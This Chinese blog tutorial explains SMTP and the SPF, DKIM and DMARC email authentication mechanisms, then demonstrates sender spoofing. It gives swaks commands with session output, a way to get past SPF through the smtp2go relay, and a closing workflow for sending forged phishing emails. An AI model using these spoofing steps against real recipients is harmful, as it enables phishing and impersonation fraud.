smtp协议

SMTP(Simple Mail Transfer Protocol)是用来发送邮件的协议,属于应用层协议的一种。SMTP的连接和发送过程如下:

  1. 建立TCP连接
  2. 客户端发送HELO或者EHLO命令以标识发件人自己的身份,服务器返回250 OK或者更详细一点的信息。
  3. 然后客户端发送MAIL命令,表明发件人邮箱地址, 服务器端以OK作为响应,表明准备接收
    4.客户端发送RCPT命令,表明接收人邮箱地址,可以有多个RCPT行,服务器端以OK作为响应,表示愿意为收件人接收邮件
  4. 协商结束,发送邮件,用命令DATA发送,服务端会返回邮件发送成功与否的情况。

下面我们用一个telnet来模仿使用qq邮箱客户端发送一封邮件到gmail邮箱的过程:

请输入图片描述

发送结果:

请输入图片描述

上述我们使用qq邮箱服务器发送了邮件给gmail邮箱服务器,其架构如下:

请输入图片描述

SPF介绍

上一节我们是使用qq邮箱服务器来发送邮件的,那么我们能够本地直接发送邮件给gmail服务器呢?答案是可以的,那我们能否在本地发送邮件时假装自己是[email protected]呢?

这就涉及到了邮件伪造问题,我们可以发送邮件给目标邮件服务器,然后声称自己是[email protected],因为SMTP 协议本身也不要求对此声明做认证,这也就是钓鱼邮件的原理。

但是显然经过这么多年的发展,邮件服务器也不能什么都不管,什么都信任。

发件人策略框架(Sender Policy Framework)就是一套电子邮件认证机制,当你定义了你域名的SPF记录之后,邮件接收方的收件服务器在接受到邮件后,首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回或丢弃处理。

请输入图片描述

比如我们直接向163邮箱服务器发送一个邮件,并且声称自己是[email protected]

# 163mx03.mxmail.netease.com是163邮件服务器的mx记录ip
$ telnet 163mx03.mxmail.netease.com 25
Trying 220.181.14.158...
Connected to 163mx03.mxmail.netease.com.
Escape character is '^]'.
220 163.com Anti-spam GT for Coremail System (163com[20141201])
ehlo antispam
250-mail
250-PIPELINING
250-AUTH LOGIN PLAIN 
250-AUTH=LOGIN PLAIN
250-coremail 1Uxr2xKj7kG0xkI17xGrU7I0s8FY2U3Uj8Cz28x1UUUUU7Ic2I0Y2UrZp-lKUCa0xDrUUUUj
250-STARTTLS
250-SIZE 73400320
250 8BITMIME
mail from:<[email protected]>
550 MI:SPF 163 mx41,W8CowADH_BmJ+n1e3WJCCQ--.18274S2 1585314452 http://mail.163.com/help/help_spam_16.htm?ip=106.71.91.111&hostid=mx41&time=1585314452

可以看到当我们发送mail from:mailto:[email protected]来声称邮件发送方时,163的邮箱服务器抛出了SPF错误,也就是说我们发送方的ip106.71.91.111不在huawei.com域名的SPF记录名单里面。

我们可以查一下huawei.com的spf记录

$ nslookup -type=txt huawei.com
;; Truncated, retrying in TCP mode.
Server:        10.9.255.1
Address:    10.9.255.1#53

Non-authoritative answer:
huawei.com    text = "fz9vxRtJpRFrw8&VLnW9Z4gUPdofN1DwkF516%&L9YXHev2&VuoPYaiKqkD@tf7&eI^Aryg5I8SWUR&MxzvhgCfK3*OjUnT%6&ghuawei20190518"
huawei.com    text = "v=spf1 ip4:45.249.212.32 ip4:45.249.212.35 ip4:45.249.212.255 ip4:45.249.212.187/29 ip4:45.249.212.191 ip4:185.176.76.210 ip4:168.195.93.47 ip4:103.69.140.247 -all"
huawei.com    text = "v=DMARC1;p=none;rua=mailto:[email protected]"
huawei.com    text = "N3U/UqKcdI+8rthQEYTbph+m6MCg7+IW43PP5SuPxww="
huawei.com    text = "MS=C4F6A693225CC6E058F6C9C39FD728C06C43E597"
Authoritative answers can be found from:
. nameserver = d.root-servers.net.
. nameserver = b.root-servers.net.
. nameserver = k.root-servers.net.
. nameserver = c.root-servers.net.
. nameserver = j.root-servers.net.
. nameserver = e.root-servers.net.
. nameserver = f.root-servers.net.
. nameserver = g.root-servers.net.
. nameserver = i.root-servers.net.
. nameserver = a.root-servers.net.
. nameserver = h.root-servers.net.
. nameserver = m.root-servers.net.
. nameserver = l.root-servers.net.

关注其中的

v=spf1 ip4:45.249.212.32 ip4:45.249.212.35 ip4:45.249.212.255 ip4:45.249.212.187/29 ip4:45.249.212.191 ip4:185.176.76.210 ip4:168.195.93.47 ip4:103.69.140.247 -all

这是一种常见的SPF写法,其中的-all表明在不匹配前面所列主机时,接收服务器需要将邮件全部拒绝

SPF 记录的匹配机制主要用于定义和指定可由该域名发送邮件的主机,其定义方式包括:

  • all 匹配任何主机,它写在SPF记录最后以匹配在其前面所列出的主机。
  • ip4 匹配IPv4地址或网络范围。
  • ip6 匹配IPv6地址或网络范围。
  • a 匹配主机名或域名。
  • mx 匹配域名的MX记录,当出站与入站邮件为同一服务器时通常采用此种机制。
  • ptr 通过DNS反向记录来匹配发件人IP和域名,由于会增加DNS负载,一般不采用此种机制。
  • exists 只检查域是否在DNS中存在。
  • include 将发件人IP和SPF记录指向另一个域,这种匹配机制通常用于云服务,如Exchange Online Protection。

SPF 记录的匹配机制会结合一些限定词来使用,以告诉服务器找到一条匹配记录时该怎么办。常见的限定词有:

  • +放行,如果没有明确指定限定词,则为默认值
  • –硬拒绝,直接拒绝来自未经授权主机的邮件
  • ~软拒绝,邮件可被接受,也可被标记为垃圾邮件
  • ?中性,不考虑邮件是否被接受

DKIM与DMARC

域名密钥识别邮件(DomainKeys Identified Mail,DKIM)是一套电子邮件认证机制,使用公开密钥加密邮件,以检测邮件是否是伪造或被篡改。通常发送方会在电子邮件的标头插入DKIM-Signature及电子签名, 而接收方则透过DNS查询得到公钥后进行验证.

DMARC建立在发件人策略框架 (SPF)和域名识别邮件 (DKIM)协议之上。如果这两种身份验证方法都不通过,DMARC 策略将决定如何处理该消息。DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录,并明确声明对验证失败邮件的处理策略。

以上两种机制也是现有的电子邮件安全机制,不过以SPF策略为主。

邮件伪造

1. Swaks
Swaks(Swiss Army Knife for SMTP,SMTP瑞士军刀),多功能的SMTP协议测试工具,利用Swaks可以很方便的发送伪造邮件。

常用Swaks指令

--ehlo [helo-string]:伪造ehlo头信息
--header [header-and-data]:伪造From、Subject、Message-Id、X-Mailer等头信息
--data [data-portion]:伪造DATA的全部内容,可直接将邮件源码作为选项
--attach [attachment-specification]:添加附件

具体介绍就不多介绍了,可以看官方主页

这里来个示例:

swaks --to [email protected] --from [email protected] --body 'This is a test mailing' --header 'Subject: test' --ehlo gmail.com --header-X-Mailer gmail.com

2. SPF记录未设置或者设置不当
当一个域名未设置SPF记录或者设置不当时,就存在邮件伪造漏洞风险。可以通过以下方式探测域名是否存在SPF记录:

nslookup -type=txt xxx.com.cn

未设置(比如我自己的域名)

nslookup -type=txt saucer-man.com

Server: 10.40.59.251
Address: 10.40.59.251#53

Non-authoritative answer:
* Can't find saucer-man.com: No answer
设置不当,比如下面的域名,SPF记录设置成~all,未匹配到的邮件可被接受,也可被标记为垃圾邮件。

nslookup -q=txt xxx.com

Server: 10.9.255.1
Address: 10.9.255.1#53

Non-authoritative answer:
xxx.com text = "v=spf1 ip4:36.7.172.15 ip4:220.248.245.131 ip4:111.39.232.6 ip4:36.7.172.14 ~all"

经过测试,当接收邮箱系统验证SPF时出现上述情况时,不同邮箱系统的反应如下:

  • qq邮箱不接受
  • outlook邮箱接收
  • gmail邮箱标记为垃圾邮件
  • 163邮箱标记为垃圾邮件
swaks --to [email protected] --from [email protected] --body 'This is a test mailing' --header 'Subject: test mail' --ehlo saucer-man.com --header-X-Mailer saucer-man.com
=== Trying gmail-smtp-in.l.google.com:25...
=== Connected to gmail-smtp-in.l.google.com.
<- 220 mx.google.com ESMTP m6si9771129pld.54 - gsmtp
-> EHLO saucer-man.com
<- 250-mx.google.com at your service, [103.59.50.2]
<- 250-SIZE 157286400
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-ENHANCEDSTATUSCODES
<- 250-PIPELINING
<- 250-CHUNKING
<- 250 SMTPUTF8
-> MAIL FROM:mailto:[email protected]
<- 250 2.1.0 OK m6si9771129pld.54 - gsmtp
-> RCPT TO:mailto:[email protected]
<- 250 2.1.5 OK m6si9771129pld.54 - gsmtp
-> DATA
<- 354 Go ahead m6si9771129pld.54 - gsmtp
-> Date: Mon, 30 Mar 2020 15:32:58 +0800
-> To: [email protected]
-> From: [email protected]
-> Subject: test mail
-> X-Mailer: saucer-man.com
->
-> This is a test mailing
->
-> .
<- 250 2.0.0 OK 1585553581 m6si9771129pld.54 - gsmtp
-> QUIT
<- 221 2.0.0 closing connection m6si9771129pld.54 - gsmtp
=== Connection closed with remote host.

接收到的信息:

请输入图片描述

原始数据:

Delivered-To: [email protected]
Received: by 2002:a4f:f31a:0:0:0:0:0 with SMTP id c26csp2268818ivo;
        Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
X-Google-Smtp-Source: APiQypJvIKWdfG+6JpupjdqrYQfiXBeg7CPCrQ/ME+6eM+jUzhd19nOOsyGO1oi2FzXc892BL1EW
X-Received: by 2002:a63:6d0b:: with SMTP id i11mr2776601pgc.404.1585553581825;
        Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1585553581; cv=none;
        d=google.com; s=arc-20160816;
        b=YbBzqga5isSYWhaqAsRdWg/lzDH0S92InVplzXxAmGXkCqxdt7C3t9mOFLwZpEkpqi
         QW4Y2I4+vAIpbiMi2MqUyLL7tU2Cq/jNlaO6VX+r0Gu1nx8ZxTpUR
         b9yqaZaq6tcg48EWzGfuOT3uBs2aVp9W8Upf0MeSxPLVbpgEnzqMRjqlIhZaXAIe9kR1xg4V4IObPilZfBb4uYY0ayLTDcDDMXTc
         GyjA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=subject:from:to:date:message-id;
        bh=ecGWgWCJeWxJFeM0urOVWP+KOlqqvsQYKOpYUP8nk7I=;
        b=ZHdmyDNpyMR/DCfW1heAmecEtINi+fb5Myr8+sjj1meh6oH0VhTZzvOCTylrp/WXlu
         kGgDW2zzC95QeKAFF3ZbXClFoDVgEGECg2mTmQ2QUXB74qi5EDtu+X4izzxqjBZ+
         m97oeNIBQoka40rvItwK8foHNSo3l6k55cpTvJ6+c1SvOz/eW5f0Im7dFpX3ELrioNMK
         Kuvw==
ARC-Authentication-Results: i=1; mx.google.com;
       spf=temperror (google.com: error in processing during lookup of [email protected]: DNS error) [email protected]
Return-Path: <[email protected]>
Received: from saucer-man.com ([003.11.50.2])
        by mx.google.com with ESMTP id m6si9771129pld.54.2020.03.30.00.33.01
        for <[email protected]>;
        Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
Received-SPF: temperror (google.com: error in processing during lookup of [email protected]: DNS error) client-ip=003.11.50.2;
Authentication-Results: mx.google.com;
       spf=temperror (google.com: error in processing during lookup of [email protected]: DNS error) [email protected]
Message-ID: <[email protected]>
Date: Mon, 30 Mar 2020 15:32:58 +0800
To: [email protected]
From: [email protected]
Subject: test mail
X-Mailer: saucer-man.com

This is a test mailing

可以看出没有SPF记录,所以SPF验证失败,虽然也接收了,但是放进了垃圾邮箱。

3. 利用邮件托管平台绕过SPF记录

当大部分公司SPF都设置的没问题,我们就需要想其他办法了。

我们需要借助到邮件托管平台来绕过SPF监测:

  • smtp2go(速度慢但免费发送量大,需要自己有域名)
  • SendCloud(速度快但免费发送量少)
  • 也可以自己搭建邮件服务器
    这里我们使用smtp2go,注册账户并登录,smtp2go中需要存在有效SMTP Users和Domains才能正常投递邮件。

Add SMTP Users:

请输入图片描述

Add Domains,新建Domain需要一个域名并按照引导完成CNAME绑定:

请输入图片描述

然后利用swaks发送邮件:

swaks --to [email protected] --from [email protected] --header 'Subject: test main' --ehlo gmail.com --body 'hello, I am blut' --server mail.smtp2go.com -p 2525 -au <username> -ap <password> --header-X-Mailer gmail.com

请输入图片描述

但是邮箱显示出由 bT.8bpq490=utd2ksqiq7h24d=[email protected] 代发。

请输入图片描述

经过测试,各大邮箱的反应如下:

  • qq邮箱,正常接收,显示代发
  • gmail邮箱,正常接收,显示代发
  • 163邮箱,正常接收,显示代发
  • outlook邮箱,正常接收,不显示代发

为什么会显示代发:

查看原始邮件会发现存在smtp.from以及From字段。smtp.from代表的就是真正发件人,收件服务器会去其代表的域下进行SPF记录校验,From字段是我们自定义的邮件Header字段,如果当两者不一致时,邮件服务商可能会在客户端显示代发,用来提示收件人邮件伪造攻击风险。

我们使用托管邮箱平台发送邮件时,邮件托管平台的域名会被作为smtp.from值,所以SPF记录校验是PASS的。

请输入图片描述

总结

上述说了伪造邮件的方式。

  • 如果SPF记录未设置 直接用swaks伪造即可
  • 如果存在SPF记录,则利用第三方邮件托管平台伪造,但是一般会显示由xxx代发

一般情况下我们可以使用如下的流程去发送:

  1. 自己用邮箱编辑好钓鱼邮件,可以包含附件等再发送,然后导出为eml文件:

请输入图片描述

  1. 编辑eml文件,删除from值和之前的无关紧要的信息,及更改收件人昵称

请输入图片描述

  1. 使用如下命令发送。
    swaks --to [email protected] --from [email protected] --data aaa.eml --server mail.smtp2go.com -p 2525 -au -ap